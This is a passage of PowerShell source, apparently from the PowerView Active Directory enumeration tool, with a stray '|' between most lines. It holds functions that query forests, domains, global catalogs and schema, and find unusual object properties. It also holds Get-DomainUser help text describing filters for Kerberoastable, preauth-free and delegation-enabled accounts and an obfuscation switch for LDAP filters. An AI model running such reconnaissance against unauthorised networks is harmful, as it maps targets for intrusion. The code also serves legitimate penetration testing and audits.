if ($PSBoundParameters['LDAP'] -or $PSBoundParameters['Server']) {
|
|
if ($PSBoundParameters['Server']) { $Arguments['Server'] = $Server }
|
|
|
|
# UAC specification for domain controllers
|
|
$Arguments['LDAPFilter'] = '(userAccountControl:1.2.840.113556.1.4.803:=8192)'
|
|
|
|
Get-DomainComputer @Arguments
|
|
}
|
|
else {
|
|
$FoundDomain = Get-Domain @Arguments
|
|
if ($FoundDomain) {
|
|
$FoundDomain.DomainControllers
|
|
}
|
|
}
|
|
}
|
|
}
|
|
|
|
|
|
function Get-Forest {
|
|
<#
|
|
.SYNOPSIS
|
|
|
|
Returns the forest object for the current (or specified) forest.
|
|
|
|
Author: Will Schroeder (@harmj0y)
|
|
License: BSD 3-Clause
|
|
Required Dependencies: ConvertTo-SID
|
|
|
|
.DESCRIPTION
|
|
|
|
Returns a System.DirectoryServices.ActiveDirectory.Forest object for the current
|
|
forest or the forest specified with -Forest X.
|
|
|
|
.PARAMETER Forest
|
|
|
|
The forest name to query for, defaults to the current forest.
|
|
|
|
.PARAMETER Credential
|
|
|
|
A [Management.Automation.PSCredential] object of alternate credentials
|
|
for connection to the target forest.
|
|
|
|
.EXAMPLE
|
|
|
|
Get-Forest -Forest external.domain
|
|
|
|
.EXAMPLE
|
|
|
|
$SecPassword = ConvertTo-SecureString 'Password123!' -AsPlainText -Force
|
|
$Cred = New-Object System.Management.Automation.PSCredential('TESTLAB\dfm.a', $SecPassword)
|
|
Get-Forest -Credential $Cred
|
|
|
|
.OUTPUTS
|
|
|
|
System.Management.Automation.PSCustomObject
|
|
|
|
Outputs a PSObject containing System.DirectoryServices.ActiveDirectory.Forest in addition
|
|
to the forest root domain SID.
|
|
#>
|
|
|
|
[Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSShouldProcess', '')]
|
|
[OutputType('System.Management.Automation.PSCustomObject')]
|
|
[CmdletBinding()]
|
|
Param(
|
|
[Parameter(Position = 0, ValueFromPipeline = $True)]
|
|
[ValidateNotNullOrEmpty()]
|
|
[String]
|
|
$Forest,
|
|
|
|
[Management.Automation.PSCredential]
|
|
[Management.Automation.CredentialAttribute()]
|
|
$Credential = [Management.Automation.PSCredential]::Empty
|
|
)
|
|
|
|
PROCESS {
|
|
if ($PSBoundParameters['Credential']) {
|
|
|
|
Write-Verbose "[Get-Forest] Using alternate credentials for Get-Forest"
|
|
|
|
if ($PSBoundParameters['Forest']) {
|
|
$TargetForest = $Forest
|
|
}
|
|
else {
|
|
# if no domain is supplied, extract the logon domain from the PSCredential passed
|
|
$TargetForest = $Credential.GetNetworkCredential().Domain
|
|
Write-Verbose "[Get-Forest] Extracted domain '$Forest' from -Credential"
|
|
}
|
|
|
|
$ForestContext = New-Object System.DirectoryServices.ActiveDirectory.DirectoryContext('Forest', $TargetForest, $Credential.UserName, $Credential.GetNetworkCredential().Password)
|
|
|
|
try {
|
|
$ForestObject = [System.DirectoryServices.ActiveDirectory.Forest]::GetForest($ForestContext)
|
|
}
|
|
catch {
|
|
Write-Verbose "[Get-Forest] The specified forest '$TargetForest' does not exist, could not be contacted, there isn't an existing trust, or the specified credentials are invalid: $_"
|
|
$Null
|
|
}
|
|
}
|
|
elseif ($PSBoundParameters['Forest']) {
|
|
$ForestContext = New-Object System.DirectoryServices.ActiveDirectory.DirectoryContext('Forest', $Forest)
|
|
try {
|
|
$ForestObject = [System.DirectoryServices.ActiveDirectory.Forest]::GetForest($ForestContext)
|
|
}
|
|
catch {
|
|
Write-Verbose "[Get-Forest] The specified forest '$Forest' does not exist, could not be contacted, or there isn't an existing trust: $_"
|
|
return $Null
|
|
}
|
|
}
|
|
else {
|
|
# otherwise use the current forest
|
|
$ForestObject = [System.DirectoryServices.ActiveDirectory.Forest]::GetCurrentForest()
|
|
}
|
|
|
|
if ($ForestObject) {
|
|
# get the SID of the forest root
|
|
if ($PSBoundParameters['Credential']) {
|
|
$ForestSid = (Get-DomainUser -Identity "krbtgt" -Domain $ForestObject.RootDomain.Name -Credential $Credential).objectsid
|
|
}
|
|
else {
|
|
$ForestSid = (Get-DomainUser -Identity "krbtgt" -Domain $ForestObject.RootDomain.Name).objectsid
|
|
}
|
|
|
|
$Parts = $ForestSid -Split '-'
|
|
$ForestSid = $Parts[0..$($Parts.length-2)] -join '-'
|
|
$ForestObject | Add-Member NoteProperty 'RootDomainSid' $ForestSid
|
|
$ForestObject
|
|
}
|
|
}
|
|
}
|
|
|
|
|
|
function Get-ForestDomain {
|
|
<#
|
|
.SYNOPSIS
|
|
|
|
Return all domains for the current (or specified) forest.
|
|
|
|
Author: Will Schroeder (@harmj0y)
|
|
License: BSD 3-Clause
|
|
Required Dependencies: Get-Forest
|
|
|
|
.DESCRIPTION
|
|
|
|
Returns all domains for the current forest or the forest specified
|
|
by -Forest X.
|
|
|
|
.PARAMETER Forest
|
|
|
|
Specifies the forest name to query for domains.
|
|
|
|
.PARAMETER Credential
|
|
|
|
A [Management.Automation.PSCredential] object of alternate credentials
|
|
for connection to the target forest.
|
|
|
|
.EXAMPLE
|
|
|
|
Get-ForestDomain
|
|
|
|
.EXAMPLE
|
|
|
|
Get-ForestDomain -Forest external.local
|
|
|
|
.EXAMPLE
|
|
|
|
$SecPassword = ConvertTo-SecureString 'Password123!' -AsPlainText -Force
|
|
$Cred = New-Object System.Management.Automation.PSCredential('TESTLAB\dfm.a', $SecPassword)
|
|
Get-ForestDomain -Credential $Cred
|
|
|
|
.OUTPUTS
|
|
|
|
System.DirectoryServices.ActiveDirectory.Domain
|
|
#>
|
|
|
|
[Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSShouldProcess', '')]
|
|
[OutputType('System.DirectoryServices.ActiveDirectory.Domain')]
|
|
[CmdletBinding()]
|
|
Param(
|
|
[Parameter(Position = 0, ValueFromPipeline = $True)]
|
|
[ValidateNotNullOrEmpty()]
|
|
[String]
|
|
$Forest,
|
|
|
|
[Management.Automation.PSCredential]
|
|
[Management.Automation.CredentialAttribute()]
|
|
$Credential = [Management.Automation.PSCredential]::Empty
|
|
)
|
|
|
|
PROCESS {
|
|
$Arguments = @{}
|
|
if ($PSBoundParameters['Forest']) { $Arguments['Forest'] = $Forest }
|
|
if ($PSBoundParameters['Credential']) { $Arguments['Credential'] = $Credential }
|
|
|
|
$ForestObject = Get-Forest @Arguments
|
|
if ($ForestObject) {
|
|
$ForestObject.Domains
|
|
}
|
|
}
|
|
}
|
|
|
|
|
|
function Get-ForestGlobalCatalog {
|
|
<#
|
|
.SYNOPSIS
|
|
|
|
Return all global catalogs for the current (or specified) forest.
|
|
|
|
Author: Will Schroeder (@harmj0y)
|
|
License: BSD 3-Clause
|
|
Required Dependencies: Get-Forest
|
|
|
|
.DESCRIPTION
|
|
|
|
Returns all global catalogs for the current forest or the forest specified
|
|
by -Forest X by using Get-Forest to retrieve the specified forest object
|
|
and the .FindAllGlobalCatalogs() to enumerate the global catalogs.
|
|
|
|
.PARAMETER Forest
|
|
|
|
Specifies the forest name to query for global catalogs.
|
|
|
|
.PARAMETER Credential
|
|
|
|
A [Management.Automation.PSCredential] object of alternate credentials
|
|
for connection to the target domain.
|
|
|
|
.EXAMPLE
|
|
|
|
Get-ForestGlobalCatalog
|
|
|
|
.EXAMPLE
|
|
|
|
$SecPassword = ConvertTo-SecureString 'Password123!' -AsPlainText -Force
|
|
$Cred = New-Object System.Management.Automation.PSCredential('TESTLAB\dfm.a', $SecPassword)
|
|
Get-ForestGlobalCatalog -Credential $Cred
|
|
|
|
.OUTPUTS
|
|
|
|
System.DirectoryServices.ActiveDirectory.GlobalCatalog
|
|
#>
|
|
|
|
[Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSShouldProcess', '')]
|
|
[OutputType('System.DirectoryServices.ActiveDirectory.GlobalCatalog')]
|
|
[CmdletBinding()]
|
|
Param(
|
|
[Parameter(Position = 0, ValueFromPipeline = $True)]
|
|
[ValidateNotNullOrEmpty()]
|
|
[String]
|
|
$Forest,
|
|
|
|
[Management.Automation.PSCredential]
|
|
[Management.Automation.CredentialAttribute()]
|
|
$Credential = [Management.Automation.PSCredential]::Empty
|
|
)
|
|
|
|
PROCESS {
|
|
$Arguments = @{}
|
|
if ($PSBoundParameters['Forest']) { $Arguments['Forest'] = $Forest }
|
|
if ($PSBoundParameters['Credential']) { $Arguments['Credential'] = $Credential }
|
|
|
|
$ForestObject = Get-Forest @Arguments
|
|
|
|
if ($ForestObject) {
|
|
$ForestObject.FindAllGlobalCatalogs()
|
|
}
|
|
}
|
|
}
|
|
|
|
|
|
function Get-ForestSchemaClass {
|
|
<#
|
|
.SYNOPSIS
|
|
|
|
Helper that returns the Active Directory schema classes for the current
|
|
(or specified) forest or returns just the schema class specified by
|
|
-ClassName X.
|
|
|
|
Author: Will Schroeder (@harmj0y)
|
|
License: BSD 3-Clause
|
|
Required Dependencies: Get-Forest
|
|
|
|
.DESCRIPTION
|
|
|
|
Uses Get-Forest to retrieve the current (or specified) forest. By default,
|
|
the .FindAllClasses() method is executed, returning a collection of
|
|
[DirectoryServices.ActiveDirectory.ActiveDirectorySchemaClass] results.
|
|
If "-FindClass X" is specified, the [DirectoryServices.ActiveDirectory.ActiveDirectorySchemaClass]
|
|
result for the specified class name is returned.
|
|
|
|
.PARAMETER ClassName
|
|
|
|
Specifies a ActiveDirectorySchemaClass name in the found schema to return.
|
|
|
|
.PARAMETER Forest
|
|
|
|
The forest to query for the schema, defaults to the current forest.
|
|
|
|
.PARAMETER Credential
|
|
|
|
A [Management.Automation.PSCredential] object of alternate credentials
|
|
for connection to the target domain.
|
|
|
|
.EXAMPLE
|
|
|
|
Get-ForestSchemaClass
|
|
|
|
Returns all domain schema classes for the current forest.
|
|
|
|
.EXAMPLE
|
|
|
|
Get-ForestSchemaClass -Forest dev.testlab.local
|
|
|
|
Returns all domain schema classes for the external.local forest.
|
|
|
|
.EXAMPLE
|
|
|
|
Get-ForestSchemaClass -ClassName user -Forest external.local
|
|
|
|
Returns the user schema class for the external.local domain.
|
|
|
|
.EXAMPLE
|
|
|
|
$SecPassword = ConvertTo-SecureString 'Password123!' -AsPlainText -Force
|
|
$Cred = New-Object System.Management.Automation.PSCredential('TESTLAB\dfm.a', $SecPassword)
|
|
Get-ForestSchemaClass -ClassName user -Forest external.local -Credential $Cred
|
|
|
|
Returns the user schema class for the external.local domain using
|
|
the specified alternate credentials.
|
|
|
|
.OUTPUTS
|
|
|
|
[DirectoryServices.ActiveDirectory.ActiveDirectorySchemaClass]
|
|
|
|
An ActiveDirectorySchemaClass returned from the found schema.
|
|
#>
|
|
|
|
[Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSShouldProcess', '')]
|
|
[OutputType([System.DirectoryServices.ActiveDirectory.ActiveDirectorySchemaClass])]
|
|
[CmdletBinding()]
|
|
Param(
|
|
[Parameter(Position = 0, ValueFromPipeline = $True)]
|
|
[Alias('Class')]
|
|
[ValidateNotNullOrEmpty()]
|
|
[String[]]
|
|
$ClassName,
|
|
|
|
[Alias('Name')]
|
|
[ValidateNotNullOrEmpty()]
|
|
[String]
|
|
$Forest,
|
|
|
|
[Management.Automation.PSCredential]
|
|
[Management.Automation.CredentialAttribute()]
|
|
$Credential = [Management.Automation.PSCredential]::Empty
|
|
)
|
|
|
|
PROCESS {
|
|
$Arguments = @{}
|
|
if ($PSBoundParameters['Forest']) { $Arguments['Forest'] = $Forest }
|
|
if ($PSBoundParameters['Credential']) { $Arguments['Credential'] = $Credential }
|
|
|
|
$ForestObject = Get-Forest @Arguments
|
|
|
|
if ($ForestObject) {
|
|
if ($PSBoundParameters['ClassName']) {
|
|
ForEach ($TargetClass in $ClassName) {
|
|
$ForestObject.Schema.FindClass($TargetClass)
|
|
}
|
|
}
|
|
else {
|
|
$ForestObject.Schema.FindAllClasses()
|
|
}
|
|
}
|
|
}
|
|
}
|
|
|
|
|
|
function Find-DomainObjectPropertyOutlier {
|
|
<#
|
|
.SYNOPSIS
|
|
|
|
Finds user/group/computer objects in AD that have 'outlier' properties set.
|
|
|
|
Author: Will Schroeder (@harmj0y), Matthew Graeber (@mattifestation)
|
|
License: BSD 3-Clause
|
|
Required Dependencies: Get-Domain, Get-DomainUser, Get-DomainGroup, Get-DomainComputer
|
|
|
|
.DESCRIPTION
|
|
|
|
A 'reference' set of property names is calculated, either from a standard set preserved
|
|
for user/group/computers, or from the array of names passed to -ReferencePropertySet, or
|
|
from the property names of the passed -ReferenceObject. Every user/group/computer object
|
|
(depending on determined class) are enumerated, and for each object, if the object has a
|
|
'non-standard' property set (meaning a property not held by the reference set), the object's
|
|
samAccountName, property name, and property value are output to the pipeline.
|
|
|
|
.PARAMETER ClassName
|
|
|
|
Specifies the AD object class to find property outliers for, 'user', 'group', or 'computer'.
|
|
If -ReferenceObject is specified, this will be automatically extracted, if possible.
|
|
|
|
.PARAMETER ReferencePropertySet
|
|
|
|
Specifies an array of property names to diff against the class schema.
|
|
|
|
.PARAMETER ReferenceObject
|
|
|
|
Specicifes the PowerView user/group/computer object to extract property names
|
|
from to use as the reference set.
|
|
|
|
.PARAMETER Domain
|
|
|
|
Specifies the domain to use for the query, defaults to the current domain.
|
|
|
|
.PARAMETER LDAPFilter
|
|
|
|
Specifies an LDAP query string that is used to filter Active Directory objects.
|
|
|
|
.PARAMETER SearchBase
|
|
|
|
The LDAP source to search through, e.g. "LDAP://OU=secret,DC=testlab,DC=local"
|
|
Useful for OU queries.
|
|
|
|
.PARAMETER Server
|
|
|
|
Specifies an Active Directory server (domain controller) to bind to.
|
|
|
|
.PARAMETER SearchScope
|
|
|
|
Specifies the scope to search under, Base/OneLevel/Subtree (default of Subtree).
|
|
|
|
.PARAMETER ResultPageSize
|
|
|
|
Specifies the PageSize to set for the LDAP searcher object.
|
|
|
|
.PARAMETER ServerTimeLimit
|
|
|
|
Specifies the maximum amount of time the server spends searching. Default of 120 seconds.
|
|
|
|
.PARAMETER Tombstone
|
|
|
|
Switch. Specifies that the searcher should also return deleted/tombstoned objects.
|
|
|
|
.PARAMETER Credential
|
|
|
|
A [Management.Automation.PSCredential] object of alternate credentials
|
|
for connection to the target domain.
|
|
|
|
.EXAMPLE
|
|
|
|
Find-DomainObjectPropertyOutlier -ClassName 'User'
|
|
|
|
Enumerates users in the current domain with 'outlier' properties filled in.
|
|
|
|
.EXAMPLE
|
|
|
|
Find-DomainObjectPropertyOutlier -ClassName 'Group' -Domain external.local
|
|
|
|
Enumerates groups in the external.local forest/domain with 'outlier' properties filled in.
|
|
|
|
.EXAMPLE
|
|
|
|
Get-DomainComputer -FindOne | Find-DomainObjectPropertyOutlier
|
|
|
|
Enumerates computers in the current domain with 'outlier' properties filled in.
|
|
|
|
.OUTPUTS
|
|
|
|
PowerView.PropertyOutlier
|
|
|
|
Custom PSObject with translated object property outliers.
|
|
#>
|
|
|
|
[Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSShouldProcess', '')]
|
|
[OutputType('PowerView.PropertyOutlier')]
|
|
[CmdletBinding(DefaultParameterSetName = 'ClassName')]
|
|
Param(
|
|
[Parameter(Position = 0, Mandatory = $True, ParameterSetName = 'ClassName')]
|
|
[Alias('Class')]
|
|
[ValidateSet('User', 'Group', 'Computer')]
|
|
[String]
|
|
$ClassName,
|
|
|
|
[ValidateNotNullOrEmpty()]
|
|
[String[]]
|
|
$ReferencePropertySet,
|
|
|
|
[Parameter(ValueFromPipeline = $True, Mandatory = $True, ParameterSetName = 'ReferenceObject')]
|
|
[PSCustomObject]
|
|
$ReferenceObject,
|
|
|
|
[ValidateNotNullOrEmpty()]
|
|
[String]
|
|
$Domain,
|
|
|
|
[ValidateNotNullOrEmpty()]
|
|
[Alias('Filter')]
|
|
[String]
|
|
$LDAPFilter,
|
|
|
|
[ValidateNotNullOrEmpty()]
|
|
[Alias('ADSPath')]
|
|
[String]
|
|
$SearchBase,
|
|
|
|
[ValidateNotNullOrEmpty()]
|
|
[Alias('DomainController')]
|
|
[String]
|
|
$Server,
|
|
|
|
[ValidateSet('Base', 'OneLevel', 'Subtree')]
|
|
[String]
|
|
$SearchScope = 'Subtree',
|
|
|
|
[ValidateRange(1, 10000)]
|
|
[Int]
|
|
$ResultPageSize = 200,
|
|
|
|
[ValidateRange(1, 10000)]
|
|
[Int]
|
|
$ServerTimeLimit,
|
|
|
|
[Switch]
|
|
$Tombstone,
|
|
|
|
[Management.Automation.PSCredential]
|
|
[Management.Automation.CredentialAttribute()]
|
|
$Credential = [Management.Automation.PSCredential]::Empty
|
|
)
|
|
|
|
BEGIN {
|
|
$UserReferencePropertySet = @('admincount','accountexpires','badpasswordtime','badpwdcount','cn','codepage','countrycode','description', 'displayname','distinguishedname','dscorepropagationdata','givenname','instancetype','iscriticalsystemobject','lastlogoff','lastlogon','lastlogontimestamp','lockouttime','logoncount','memberof','msds-supportedencryptiontypes','name','objectcategory','objectclass','objectguid','objectsid','primarygroupid','pwdlastset','samaccountname','samaccounttype','sn','useraccountcontrol','userprincipalname','usnchanged','usncreated','whenchanged','whencreated')
|
|
|
|
$GroupReferencePropertySet = @('admincount','cn','description','distinguishedname','dscorepropagationdata','grouptype','instancetype','iscriticalsystemobject','member','memberof','name','objectcategory','objectclass','objectguid','objectsid','samaccountname','samaccounttype','systemflags','usnchanged','usncreated','whenchanged','whencreated')
|
|
|
|
$ComputerReferencePropertySet = @('accountexpires','badpasswordtime','badpwdcount','cn','codepage','countrycode','distinguishedname','dnshostname','dscorepropagationdata','instancetype','iscriticalsystemobject','lastlogoff','lastlogon','lastlogontimestamp','localpolicyflags','logoncount','msds-supportedencryptiontypes','name','objectcategory','objectclass','objectguid','objectsid','operatingsystem','operatingsystemservicepack','operatingsystemversion','primarygroupid','pwdlastset','samaccountname','samaccounttype','serviceprincipalname','useraccountcontrol','usnchanged','usncreated','whenchanged','whencreated')
|
|
|
|
$SearcherArguments = @{}
|
|
if ($PSBoundParameters['Domain']) { $SearcherArguments['Domain'] = $Domain }
|
|
if ($PSBoundParameters['LDAPFilter']) { $SearcherArguments['LDAPFilter'] = $LDAPFilter }
|
|
if ($PSBoundParameters['SearchBase']) { $SearcherArguments['SearchBase'] = $SearchBase }
|
|
if ($PSBoundParameters['Server']) { $SearcherArguments['Server'] = $Server }
|
|
if ($PSBoundParameters['SearchScope']) { $SearcherArguments['SearchScope'] = $SearchScope }
|
|
if ($PSBoundParameters['ResultPageSize']) { $SearcherArguments['ResultPageSize'] = $ResultPageSize }
|
|
if ($PSBoundParameters['ServerTimeLimit']) { $SearcherArguments['ServerTimeLimit'] = $ServerTimeLimit }
|
|
if ($PSBoundParameters['Tombstone']) { $SearcherArguments['Tombstone'] = $Tombstone }
|
|
if ($PSBoundParameters['Credential']) { $SearcherArguments['Credential'] = $Credential }
|
|
|
|
# Domain / Credential
|
|
if ($PSBoundParameters['Domain']) {
|
|
if ($PSBoundParameters['Credential']) {
|
|
$TargetForest = Get-Domain -Domain $Domain | Select-Object -ExpandProperty Forest | Select-Object -ExpandProperty Name
|
|
}
|
|
else {
|
|
$TargetForest = Get-Domain -Domain $Domain -Credential $Credential | Select-Object -ExpandProperty Forest | Select-Object -ExpandProperty Name
|
|
}
|
|
Write-Verbose "[Find-DomainObjectPropertyOutlier] Enumerated forest '$TargetForest' for target domain '$Domain'"
|
|
}
|
|
|
|
$SchemaArguments = @{}
|
|
if ($PSBoundParameters['Credential']) { $SchemaArguments['Credential'] = $Credential }
|
|
if ($TargetForest) {
|
|
$SchemaArguments['Forest'] = $TargetForest
|
|
}
|
|
}
|
|
|
|
PROCESS {
|
|
|
|
if ($PSBoundParameters['ReferencePropertySet']) {
|
|
Write-Verbose "[Find-DomainObjectPropertyOutlier] Using specified -ReferencePropertySet"
|
|
$ReferenceObjectProperties = $ReferencePropertySet
|
|
}
|
|
elseif ($PSBoundParameters['ReferenceObject']) {
|
|
Write-Verbose "[Find-DomainObjectPropertyOutlier] Extracting property names from -ReferenceObject to use as the reference property set"
|
|
$ReferenceObjectProperties = Get-Member -InputObject $ReferenceObject -MemberType NoteProperty | Select-Object -Expand Name
|
|
$ReferenceObjectClass = $ReferenceObject.objectclass | Select-Object -Last 1
|
|
Write-Verbose "[Find-DomainObjectPropertyOutlier] Calculated ReferenceObjectClass : $ReferenceObjectClass"
|
|
}
|
|
else {
|
|
Write-Verbose "[Find-DomainObjectPropertyOutlier] Using the default reference property set for the object class '$ClassName'"
|
|
}
|
|
|
|
if (($ClassName -eq 'User') -or ($ReferenceObjectClass -eq 'User')) {
|
|
$Objects = Get-DomainUser @SearcherArguments
|
|
if (-not $ReferenceObjectProperties) {
|
|
$ReferenceObjectProperties = $UserReferencePropertySet
|
|
}
|
|
}
|
|
elseif (($ClassName -eq 'Group') -or ($ReferenceObjectClass -eq 'Group')) {
|
|
$Objects = Get-DomainGroup @SearcherArguments
|
|
if (-not $ReferenceObjectProperties) {
|
|
$ReferenceObjectProperties = $GroupReferencePropertySet
|
|
}
|
|
}
|
|
elseif (($ClassName -eq 'Computer') -or ($ReferenceObjectClass -eq 'Computer')) {
|
|
$Objects = Get-DomainComputer @SearcherArguments
|
|
if (-not $ReferenceObjectProperties) {
|
|
$ReferenceObjectProperties = $ComputerReferencePropertySet
|
|
}
|
|
}
|
|
else {
|
|
throw "[Find-DomainObjectPropertyOutlier] Invalid class: $ClassName"
|
|
}
|
|
|
|
ForEach ($Object in $Objects) {
|
|
$ObjectProperties = Get-Member -InputObject $Object -MemberType NoteProperty | Select-Object -Expand Name
|
|
ForEach($ObjectProperty in $ObjectProperties) {
|
|
if ($ReferenceObjectProperties -NotContains $ObjectProperty) {
|
|
$Out = New-Object PSObject
|
|
$Out | Add-Member Noteproperty 'SamAccountName' $Object.SamAccountName
|
|
$Out | Add-Member Noteproperty 'Property' $ObjectProperty
|
|
$Out | Add-Member Noteproperty 'Value' $Object.$ObjectProperty
|
|
$Out.PSObject.TypeNames.Insert(0, 'PowerView.PropertyOutlier')
|
|
$Out
|
|
}
|
|
}
|
|
}
|
|
}
|
|
}
|
|
|
|
|
|
########################################################
|
|
#
|
|
# "net *" replacements and other fun start below
|
|
#
|
|
########################################################
|
|
|
|
function Get-DomainUser {
|
|
<#
|
|
.SYNOPSIS
|
|
|
|
Return all users or specific user objects in AD.
|
|
|
|
Author: Will Schroeder (@harmj0y)
|
|
License: BSD 3-Clause
|
|
Required Dependencies: Get-DomainSearcher, Convert-ADName, Convert-LDAPProperty
|
|
|
|
.DESCRIPTION
|
|
|
|
Builds a directory searcher object using Get-DomainSearcher, builds a custom
|
|
LDAP filter based on targeting/filter parameters, and searches for all objects
|
|
matching the criteria. To only return specific properties, use
|
|
"-Properties samaccountname,usnchanged,...". By default, all user objects for
|
|
the current domain are returned.
|
|
|
|
.PARAMETER Identity
|
|
|
|
A SamAccountName (e.g. harmj0y), DistinguishedName (e.g. CN=harmj0y,CN=Users,DC=testlab,DC=local),
|
|
SID (e.g. S-1-5-21-890171859-3433809279-3366196753-1108), or GUID (e.g. 4c435dd7-dc58-4b14-9a5e-1fdb0e80d201).
|
|
Wildcards accepted. Also accepts DOMAIN\user format.
|
|
|
|
.PARAMETER SPN
|
|
|
|
Switch. Only return user objects with non-null service principal names.
|
|
|
|
.PARAMETER UACFilter
|
|
|
|
Dynamic parameter that accepts one or more values from $UACEnum, including
|
|
"NOT_X" negation forms. To see all possible values, run '0|ConvertFrom-UACValue -ShowAll'.
|
|
|
|
.PARAMETER AdminCount
|
|
|
|
Switch. Return users with '(adminCount=1)' (meaning are/were privileged).
|
|
|
|
.PARAMETER Enabled
|
|
|
|
Switch. Return users that are currently enabled.
|
|
|
|
.PARAMETER Disabled
|
|
|
|
Switch. Return users that are currently disabled.
|
|
|
|
.PARAMETER Locked
|
|
|
|
Switch. Return users that are currently locked.
|
|
|
|
.PARAMETER Unlocked
|
|
|
|
Switch. Return users that are currently unlocked.
|
|
|
|
.PARAMETER PassExired
|
|
|
|
Switch. Return users whose password has expired.
|
|
|
|
.PARAMETER PassNotExpired
|
|
|
|
Switch. Return users whose password has not expired.
|
|
|
|
.PARAMETER AllowDelegation
|
|
|
|
Switch. Return user accounts that are not marked as 'sensitive and not allowed for delegation'
|
|
|
|
.PARAMETER DisallowDelegation
|
|
|
|
Switch. Return user accounts that are marked as 'sensitive and not allowed for delegation'
|
|
|
|
.PARAMETER NoPassExpiry
|
|
|
|
Switch. Return users whose passwords do not expire.
|
|
|
|
.PARAMETER Unconstrained
|
|
|
|
Switch. Return users configured for unconstrained delegation.
|
|
|
|
.PARAMETER TrustedToAuth
|
|
|
|
Switch. Return user accounts that are trusted to authenticate for other principals.
|
|
|
|
.PARAMETER RBCD
|
|
|
|
Switch. Return user accounts that are configured to allow resource-based constrained delegation.
|
|
|
|
.PARAMETER PreauthNotRequired
|
|
|
|
Switch. Return user accounts with "Do not require Kerberos preauthentication" set.
|
|
|
|
.PARAMETER PassNotRequired
|
|
|
|
Switch. Return user accounts with PASSWD_NOTREQD set.
|
|
|
|
.PARAMETER PassLastSet
|
|
|
|
Return only user accounts that have not had a password change for at least the specified number of days.
|
|
|
|
.PARAMETER Owner
|
|
|
|
Return the owner information of the user object.
|
|
|
|
.PARAMETER Domain
|
|
|
|
Specifies the domain to use for the query, defaults to the current domain.
|
|
|
|
.PARAMETER LDAPFilter
|
|
|
|
Specifies an LDAP query string that is used to filter Active Directory objects.
|
|
|
|
.PARAMETER Properties
|
|
|
|
Specifies the properties of the output object to retrieve from the server.
|
|
|
|
.PARAMETER SearchBase
|
|
|
|
The LDAP source to search through, e.g. "LDAP://OU=secret,DC=testlab,DC=local"
|
|
Useful for OU queries.
|
|
|
|
.PARAMETER Server
|
|
|
|
Specifies an Active Directory server (domain controller) to bind to.
|
|
|
|
.PARAMETER SearchScope
|
|
|
|
Specifies the scope to search under, Base/OneLevel/Subtree (default of Subtree).
|
|
|
|
.PARAMETER ResultPageSize
|
|
|
|
Specifies the PageSize to set for the LDAP searcher object.
|
|
|
|
.PARAMETER ServerTimeLimit
|
|
|
|
Specifies the maximum amount of time the server spends searching. Default of 120 seconds.
|
|
|
|
.PARAMETER SecurityMasks
|
|
|
|
Specifies an option for examining security information of a directory object.
|
|
One of 'Dacl', 'Group', 'None', 'Owner', 'Sacl'.
|
|
|
|
.PARAMETER Tombstone
|
|
|
|
Switch. Specifies that the searcher should also return deleted/tombstoned objects.
|
|
|
|
.PARAMETER FindOne
|
|
|
|
Only return one result object.
|
|
|
|
.PARAMETER Credential
|
|
|
|
A [Management.Automation.PSCredential] object of alternate credentials
|
|
for connection to the target domain.
|
|
|
|
.PARAMETER Raw
|
|
|
|
Switch. Return raw results instead of translating the fields into a custom PSObject.
|
|
|
|
.PARAMETER SSL
|
|
|
|
Switch. Use SSL for the connection to the LDAP server.
|
|
|
|
.PARAMETER Obfuscate
|
|
|
|
Switch. Obfuscate the resulting LDAP filter string using hex encoding.
|
|
|
|
.EXAMPLE
|
|
|
|
Get-DomainUser -Domain testlab.local
|
|
|
|
Return all users for the testlab.local domain
|
|
|
|
.EXAMPLE
|
|
|
|
Get-DomainUser "S-1-5-21-890171859-3433809279-3366196753-1108","administrator"
|
|
|
|
Return the user with the given SID, as well as Administrator.
|
|
|
|
.EXAMPLE
|
|
|
|
'S-1-5-21-890171859-3433809279-3366196753-1114', 'CN=dfm,CN=Users,DC=testlab,DC=local','4c435dd7-dc58-4b14-9a5e-1fdb0e80d201','administrator' | Get-DomainUser -Properties samaccountname,lastlogoff
|
|
|
|
lastlogoff samaccountname
|
|
---------- --------------
|
|
12/31/1600 4:00:00 PM dfm.a
|
|
12/31/1600 4:00:00 PM dfm
|
|
12/31/1600 4:00:00 PM harmj0y
|
|
12/31/1600 4:00:00 PM Administrator
|
|
|
|
.EXAMPLE
|
|
|
|
Get-DomainUser -SearchBase "LDAP://OU=secret,DC=testlab,DC=local" -AdminCount -AllowDelegation
|
|
|
|
Search the specified OU for privileged user (AdminCount = 1) that allow delegation
|
|
|
|
.EXAMPLE
|
|
|
|
Get-DomainUser -LDAPFilter '(!primarygroupid=513)' -Properties samaccountname,lastlogon
|
|
|
|
Search for users with a primary group ID other than 513 ('domain users') and only return samaccountname and lastlogon
|
|
|
|
.EXAMPLE
|
|
|
|
Get-DomainUser -UACFilter DONT_REQ_PREAUTH,NOT_PASSWORD_EXPIRED
|
|
|
|
Find users who doesn't require Kerberos preauthentication and DON'T have an expired password.
|
|
|
|
.EXAMPLE
|
|
|
|
$SecPassword = ConvertTo-SecureString 'Password123!' -AsPlainText -Force
|
|
$Cred = New-Object System.Management.Automation.PSCredential('TESTLAB\dfm.a', $SecPassword)
|
|
Get-DomainUser -Credential $Cred
|
|
|
|
.EXAMPLE
|
|
|
|
Get-Domain | Select-Object -Expand name
|
|
testlab.local
|
|
|
|
Get-DomainUser dev\user1 -Verbose -Properties distinguishedname
|
|
VERBOSE: [Get-DomainSearcher] search string: LDAP://PRIMARY.testlab.local/DC=testlab,DC=local
|
|
VERBOSE: [Get-DomainSearcher] search string: LDAP://PRIMARY.testlab.local/DC=dev,DC=testlab,DC=local
|
|
VERBOSE: [Get-DomainUser] filter string: (&(samAccountType=805306368)(|(samAccountName=user1)))
|
|
|
|
distinguishedname
|
|
-----------------
|
|
CN=user1,CN=Users,DC=dev,DC=testlab,DC=local
|
|
|
|
.INPUTS
|
|
|
|
String
|
|
|
|
.OUTPUTS
|
|
|
|
PowerView.User
|
|
|
|
Custom PSObject with translated user property fields.
|
|
|
|
PowerView.User.Raw
|
|
|
|
The raw DirectoryServices.SearchResult object, if -Raw is enabled.
|
|
#>
|
|
|
|
[Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSUseDeclaredVarsMoreThanAssignments', '')]
|
|
